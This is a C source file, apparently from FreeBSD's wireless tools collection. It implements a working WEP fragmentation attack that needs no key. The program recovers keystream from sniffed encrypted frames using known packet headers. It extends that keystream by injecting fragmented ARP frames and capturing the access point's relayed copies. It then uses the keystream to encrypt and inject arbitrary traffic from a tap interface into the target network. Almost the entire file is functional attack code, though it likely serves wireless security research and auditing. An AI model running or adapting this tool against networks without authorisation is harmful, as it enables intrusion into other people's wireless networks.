xref: /freebsd/tools/tools/net80211/w00t/prga/prga.c (revision 2be1a816b9ff69588e55be0a84cbe2a31efc0f2f)
1 /*-
2  * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3  * All rights reserved.
4  *
5  * Redistribution and use in source and binary forms, with or without
6  * modification, are permitted provided that the following conditions
7  * are met:
8  * 1. Redistributions of source code must retain the above copyright
9  *    notice, this list of conditions and the following disclaimer.
10  * 2. Redistributions in binary form must reproduce the above copyright
11  *    notice, this list of conditions and the following disclaimer in the
12  *    documentation and/or other materials provided with the distribution.
13  *
14  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24  * SUCH DAMAGE.
25  *
26  * $FreeBSD$
27  */
28 #include <sys/endian.h>
29 #include <sys/time.h>
30 #include <sys/select.h>
31 #include <stdio.h>
32 #include <stdlib.h>
33 #include <string.h>
34 #include <err.h>
35 #include <unistd.h>
36 #include <fcntl.h>
37 #include <assert.h>
38 #include <zlib.h>
39 #include "w00t.h"
40 
41 
42 static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
43 static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
44 static int known_pt_len = 8;
45 
46 enum {
47 	S_START = 0,
48 	S_SEND_FRAG,
49 	S_WAIT_ACK,
50 	S_WAIT_RELAY
51 };
52 
53 struct params {
54 	int tx;
55 	int rx;
56 
57 	char mac[6];
58 	char ap[6];
59 
60 	char prga[2048];
61 	int prga_len;
62 	char iv[3];
63 
64 	char *fname;
65 
66 	struct timeval last;
67 	char packet[2048];
68 	int packet_len;
69 	int state;
70 
71 	char data[2048];
72 	char *data_ptr;
73 	int data_len;
74 	int data_try;
75 	int mtu;
76 
77 	int seq;
78 	int frag;
79 
80 	int tap;
81 };
82 
83 void usage(char *p)
84 {
85 	printf("Usage: %s <opts>\n"
86 	       "-h\thelp\n"
87 	       "-b\t<bssid>\n"
88 	       "-t\t<tap>\n"
89 	       , p);
90 	exit(0);
91 }
92 
93 void load_prga(struct params *p)
94 {
95 	int fd;
96 	int rd;
97 
98 	fd = open(p->fname, O_RDONLY);
99 	if (fd == -1) {
100 		p->prga_len = 0;
101 		return;
102 	}
103 
104 	rd = read(fd, p->iv, 3);
105 	if (rd == -1)
106 		err(1, "read()");
107 	if (rd != 3) {
108 		printf("Short read\n");
109 		exit(1);
110 	}
111 
112 	rd = read(fd, p->prga, sizeof(p->prga));
113 	if (rd == -1)
114 		err(1, "read()");
115 	p->prga_len = rd;
116 
117 	printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
118 	close(fd);
119 }
120 
121 void save_prga(struct params *p)
122 {
123 	int fd;
124 	int rd;
125 
126 	fd = open(p->fname, O_WRONLY | O_CREAT, 0644);
127 	if (fd == -1)
128 		err(1, "open()");
129 
130 	rd = write(fd, p->iv, 3);
131 	if (rd == -1)
132 		err(1, "write()");
133 	if (rd != 3) {
134 		printf("Short write\n");
135 		exit(1);
136 	}
137 
138 	rd = write(fd, p->prga, p->prga_len);
139 	if (rd == -1)
140 		err(1, "write()");
141 	if (rd != p->prga_len) {
142 		printf("Wrote %d/%d\n", rd, p->prga_len);
143 		exit(1);
144 	}
145 	close(fd);
146 
147 	printf("Got %d bytes of PRGA\n", p->prga_len);
148 }
149 
150 int is_arp(struct ieee80211_frame *wh, int len)
151 {
152 	/* XXX */
153 	if (len > (sizeof(*wh) + 4 + 4 + 39))
154 		return 0;
155 
156 	return 1;
157 }
158 
159 void get_prga(struct params *p)
160 {
161 	char buf[4096];
162 	int rc;
163         struct ieee80211_frame *wh;
164 	char *bssid;
165 	char *ptr;
166 	char *known_pt;
167 
168         rc = sniff(p->rx, buf, sizeof(buf));
169         if (rc == -1)
170                 err(1, "sniff()");
171 
172         wh = get_wifi(buf, &rc);
173         if (!wh)
174                 return;
175 
176 	if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
177 			IEEE80211_FC0_SUBTYPE_DATA))
178 		return;
179 
180 	if (is_arp(wh, rc))
181 		known_pt = known_pt_arp;
182 	else
183 		known_pt = known_pt_ip;
184 
185 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
186 		bssid = wh->i_addr1;
187 	else
188 		bssid = wh->i_addr2;
189 
190 	if (memcmp(p->ap, bssid, 6) != 0)
191 		return;
192 
193 	if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
194 		printf("Packet not WEP!\n");
195 		return;
196 	}
197 
198 	ptr = (char*) (wh+1);
199 	memcpy(p->iv, ptr, 3);
200 	ptr += 4;
201 	rc -= sizeof(wh) + 4;
202 
203 	assert(rc >= known_pt_len);
204 
205 	for (rc = 0; rc < known_pt_len; rc++) {
206 		p->prga[rc] = known_pt[rc] ^ (*ptr);
207 		ptr++;
208 	}
209 
210 	p->prga_len = rc;
211 	save_prga(p);
212 }
213 
214 void start(struct params *p)
215 {
216 	int len;
217 
218 	len = p->prga_len;
219 	len -= 4;
220 	assert(len > 0);
221 
222 	len *= 4;
223 	if (len > p->mtu)
224 		len = p->mtu;
225 
226 	p->data_len = len;
227 	memset(p->data, 0, p->data_len);
228 	memcpy(p->data, "\xaa\xaa\x03\x00\x00\x00\x08\x06", 8);
229 	p->data_ptr = p->data;
230 	p->data_try = 0;
231 	p->seq++;
232 	p->frag = 0;
233 	p->state = S_SEND_FRAG;
234 }
235 
236 void send_packet(struct params *p)
237 {
238 	int rc;
239 	struct ieee80211_frame *wh;
240 
241 	rc = inject(p->tx, p->packet, p->packet_len);
242 	if (rc == -1)
243 		err(1, "inject()");
244 	if (rc != p->packet_len) {
245 		printf("Wrote %d/%d\n", rc, p->packet_len);
246 		exit(1);
247 	}
248 
249 	p->data_try++;
250 	wh = (struct ieee80211_frame*) p->packet;
251 	wh->i_fc[1] |= IEEE80211_FC1_RETRY;
252 
253 	if (gettimeofday(&p->last, NULL) == -1)
254 		err(1, "gettimeofday()");
255 }
256 
257 void send_frag(struct params *p)
258 {
259 	struct ieee80211_frame *wh;
260 	int dlen, rem;
261 	int last = 0;
262 	short *seqp;
263 	char *ptr;
264 	uLong *pcrc;
265 	uLong crc = crc32(0L, Z_NULL, 0);
266 	int i;
267 
268 	memset(p->packet, 0, sizeof(p->packet));
269 	wh = (struct ieee80211_frame*) p->packet;
270 
271 	/* calculate how much data we need to copy */
272 	dlen = p->prga_len - 4;
273 	rem = p->data_ptr - p->data;
274 	rem = p->data_len - rem;
275 
276 	if (rem <= dlen) {
277 		dlen = rem;
278 		last = 1;
279 	}
280 
281 	/* 802.11 */
282 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
283 	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
284 	wh->i_fc[1] |= IEEE80211_FC1_WEP;
285 	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
286 	if (!last)
287 		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
288 
289 	wh->i_dur[0] = 0x69;
290 	wh->i_dur[1] = 0x00;
291 
292 	memcpy(wh->i_addr1, p->ap, 6);
293 	memcpy(wh->i_addr2, p->mac, 6);
294 	memset(wh->i_addr3, 0xff, 6);
295 
296 	seqp = (short*) wh->i_seq;
297 	*seqp = seqfn(p->seq, p->frag);
298 	p->frag++;
299 
300 	/* IV & data */
301 	ptr = (char*) (wh+1);
302 	memcpy(ptr, p->iv, 3);
303 	ptr += 4;
304 	memcpy(ptr, p->data_ptr, dlen);
305 
306 	/* crc */
307 	crc = crc32(crc, ptr, dlen);
308 	pcrc = (uLong*) (ptr+dlen);
309 	*pcrc = crc;
310 
311 	/* wepify */
312 	for (i = 0; i < dlen+4; i++)
313 		ptr[i] = ptr[i] ^ p->prga[i];
314 
315 	/* prepare for next frag */
316 	p->packet_len = sizeof(*wh) + 4 + dlen + 4;
317 	p->data_ptr += dlen;
318 #if 0
319 	printf("Sening %sfrag [%d/%d] [len=%d]\n", last ? "last " : "",
320 	       p->seq, p->frag, dlen);
321 #endif
322 	if (last) {
323 		p->data_ptr = p->data;
324 		p->frag = 0;
325 		p->seq++;
326 	}
327 
328 	/* send it off */
329 	send_packet(p);
330 	p->state = S_WAIT_ACK;
331 }
332 
333 void wait_ack(struct params *p)
334 {
335 	struct timeval now;
336 	int el;
337 	int tout = 10*1000;
338 	fd_set fds;
339 	int rc;
340 	char buf[4096];
341 	struct ieee80211_frame *wh;
342 
343 	if (gettimeofday(&now, NULL) == -1)
344 		err(1, "gettimeofday()");
345 
346 	/* check for timeout */
347 	el = elapsed(&p->last, &now);
348 	if (el >= tout) {
349 		if (p->data_try >= 3) {
350 #if 0
351 			printf("Re-sending whole lot\n");
352 #endif
353 			p->state = S_START;
354 			return;
355 		}
356 #if 0
357 		printf("Re-sending frag\n");
358 #endif
359 		send_packet(p);
360 		el = 0;
361 	}
362 
363 	el = tout - el;
364 	now.tv_sec = el/1000/1000;
365 	now.tv_usec = el - now.tv_sec*1000*1000;
366 
367 	FD_ZERO(&fds);
368 	FD_SET(p->rx, &fds);
369 	if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
370 		err(1, "select()");
371 
372 	if (!FD_ISSET(p->rx, &fds))
373 		return;
374 
375 	/* grab ack */
376         rc = sniff(p->rx, buf, sizeof(buf));
377         if (rc == -1)
378                 err(1, "sniff()");
379 
380         wh = get_wifi(buf, &rc);
381         if (!wh)
382                 return;
383 
384 	if (!frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK))
385 		return;
386 
387 	if (memcmp(p->mac, wh->i_addr1, 6) != 0)
388 		return;
389 
390 	/* wait for relay */
391 	if (p->frag == 0) {
392 		p->state = S_WAIT_RELAY;
393 		if (gettimeofday(&p->last, NULL) == -1)
394 			err(1, "gettimeofday()");
395 	}
396 	else
397 		p->state = S_SEND_FRAG;
398 }
399 
400 void wait_relay(struct params *p)
401 {
402 	int tout = 20*1000;
403 	struct timeval now;
404 	int el;
405 	fd_set fds;
406 	int rc;
407 	char buf[4096];
408 	struct ieee80211_frame *wh;
409 	char *ptr;
410 	uLong crc = crc32(0L, Z_NULL, 0);
411 	uLong *pcrc;
412 
413 	if (gettimeofday(&now, NULL) == -1)
414 		err(1, "gettimeofday()");
415 
416 	el = elapsed(&p->last, &now);
417 	if (el >= tout) {
418 #if 0
419 		printf("No relay\n");
420 #endif
421 		p->state = S_START;
422 		return;
423 	}
424 	el = tout - el;
425 	now.tv_sec = el/1000/1000;
426 	now.tv_usec = el - now.tv_sec*1000*1000;
427 
428 	FD_ZERO(&fds);
429 	FD_SET(p->rx, &fds);
430 	if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
431 		err(1, "select()");
432 
433 	if (!FD_ISSET(p->rx, &fds))
434 		return;
435 
436 	/* get relay */
437         rc = sniff(p->rx, buf, sizeof(buf));
438         if (rc == -1)
439                 err(1, "sniff()");
440 
441         wh = get_wifi(buf, &rc);
442         if (!wh)
443                 return;
444 
445 	if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
446 			IEEE80211_FC0_SUBTYPE_DATA))
447 		return;
448 
449 	if (memcmp(wh->i_addr2, p->ap, 6) != 0)
450 		return;
451 
452 	if (memcmp(wh->i_addr3, p->mac, 6) != 0)
453 		return;
454 
455 	if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) != 0)
456 		return;
457 
458 	/* lends different due to padding? */
459 	if ( (rc - sizeof(*wh) - 8) != p->data_len)
460 		return;
461 
462 	/* grab new PRGA */
463 	assert(p->data_len >= p->prga_len);
464 	ptr = (char*) (wh+1);
465 	memcpy(p->iv, ptr, 3);
466 	ptr += 4;
467 
468 	crc = crc32(crc, p->data, p->data_len);
469 	pcrc = (uLong*) &p->data[p->data_len]; /* XXX overflow ph33r */
470 	*pcrc = crc;
471 
472 	for (rc = 0; rc < p->data_len+4; rc++)
473 		p->prga[rc] = p->data[rc] ^ ptr[rc];
474 
475 	p->prga_len = p->data_len+4;
476 	p->state = S_START;
477 	save_prga(p);
478 }
479 
480 void get_more_prga(struct params *p)
481 {
482 	switch (p->state) {
483 	case S_START:
484 		start(p);
485 		break;
486 
487 	case S_SEND_FRAG:
488 		send_frag(p);
489 		break;
490 
491 	case S_WAIT_ACK:
492 		wait_ack(p);
493 		break;
494 
495 	case S_WAIT_RELAY:
496 		wait_relay(p);
497 		break;
498 
499 	default:
500 		printf("WTF %d\n", p->state);
501 		abort();
502 		break;
503 	}
504 }
505 
506 void read_tap(struct params *p)
507 {
508 	int offset;
509 	char *ptr;
510 	struct ieee80211_frame *wh;
511 	int rc;
512 	char dst[6];
513 	short *seq;
514 	uLong *pcrc;
515 	uLong crc = crc32(0L, Z_NULL, 0);
516 
517 	memset(p->packet, 0, sizeof(p->packet));
518 	offset = sizeof(*wh) + 4 + 8 - 14;
519 	rc = sizeof(p->packet) - offset;
520 	ptr = &p->packet[offset];
521 
522 	rc = read(p->tap, ptr, rc);
523 	if (rc == -1)
524 		err(1, "read()");
525 
526 	memcpy(dst, ptr, sizeof(dst));
527 	wh = (struct ieee80211_frame*) p->packet;
528 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
529 	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
530 	wh->i_fc[1] |= IEEE80211_FC1_WEP;
531 	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
532 
533 	wh->i_dur[0] = 0x69;
534 
535 	memcpy(wh->i_addr1, p->ap, 6);
536 	memcpy(wh->i_addr2, p->mac, 6);
537 	memcpy(wh->i_addr3, dst, 6);
538 
539 	seq = (short*) wh->i_seq;
540 	*seq = seqfn(p->seq++, 0);
541 
542 	/* data */
543 	ptr = (char*) (wh+1);
544 	memcpy(ptr, p->iv, 3);
545 	ptr += 3;
546 	*ptr++ = 0;
547 	memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00", 6);
548 	rc -= 14;
549 	rc += 8;
550 
551 	crc = crc32(crc, ptr, rc);
552 	pcrc = (uLong*) (ptr+rc);
553 	*pcrc = crc;
554 
555 	rc += 4;
556 
557 	assert(p->prga_len >= rc);
558 
559 	/* wepify */
560 	for (offset = 0; offset < rc; offset++)
561 		ptr[offset] ^= p->prga[offset];
562 
563 	p->packet_len = sizeof(*wh) + 4 + rc;
564 	p->data_try = 0;
565 	send_packet(p);
566 	p->state = S_WAIT_ACK;
567 }
568 
569 /* XXX */
570 void wait_tap_ack(struct params *p)
571 {
572 	p->data_try = 0;
573 	p->frag = 1;
574 	wait_ack(p);
575 
576 	if (p->state == S_SEND_FRAG) {
577 #if 0
578 		printf("Got ACK\n");
579 #endif
580 		p->state = S_START;
581 	}
582 }
583 
584 void transmit(struct params *p)
585 {
586 	switch (p->state) {
587 	case S_START:
588 		read_tap(p);
589 		break;
590 
591 	case S_WAIT_ACK:
592 		wait_tap_ack(p);
593 		break;
594 
595 	default:
596 		printf("wtf %d\n", p->state);
597 		abort();
598 		break;
599 	}
600 }
601 
602 int main(int argc, char *argv[])
603 {
604 	struct params p;
605 	char *iface = "ath0";
606 	char *tap = "tap0";
607 	int ch;
608 
609 	memset(&p, 0, sizeof(p));
610 	p.fname = "prga.log";
611 	memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6);
612 	p.state = S_START;
613 	p.mtu = 1500;
614 	p.seq = getpid();
615 
616 	while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
617 		switch (ch) {
618 		case 'b':
619 			if (str2mac(p.ap, optarg) == -1) {
620 				printf("Can't parse BSSID\n");
621 				exit(1);
622 			}
623 			break;
624 
625 		case 't':
626 			tap = optarg;
627 			break;
628 
629 		case 'h':
630 		default:
631 			usage(argv[0]);
632 			break;
633 		}
634 	}
635 
636 	/* init */
637 	if ((p.rx = open_rx(iface)) == -1)
638 		err(1, "open_rx()");
639 	if ((p.tx = open_tx(iface)) == -1)
640 		err(1, "open_tx()");
641 
642 	if ((p.tap = open_tap(tap)) == -1)
643 		err(1, "open_tap()");
644 	if (set_iface_mac(tap, p.mac) == -1)
645 		err(1, "set_iface_mac()");
646 
647 	printf("Obtaining PRGA\n");
648 	/* make sure we got some prga */
649 	load_prga(&p);
650 
651 	while (p.prga_len == 0)
652 		get_prga(&p);
653 
654 	/* lets grab some more */
655 	while (p.prga_len < p.mtu)
656 		get_more_prga(&p);
657 
658 	/* transmit */
659 	p.state = S_START;
660 	while (1)
661 		transmit(&p);
662 
663 	exit(0);
664 }
665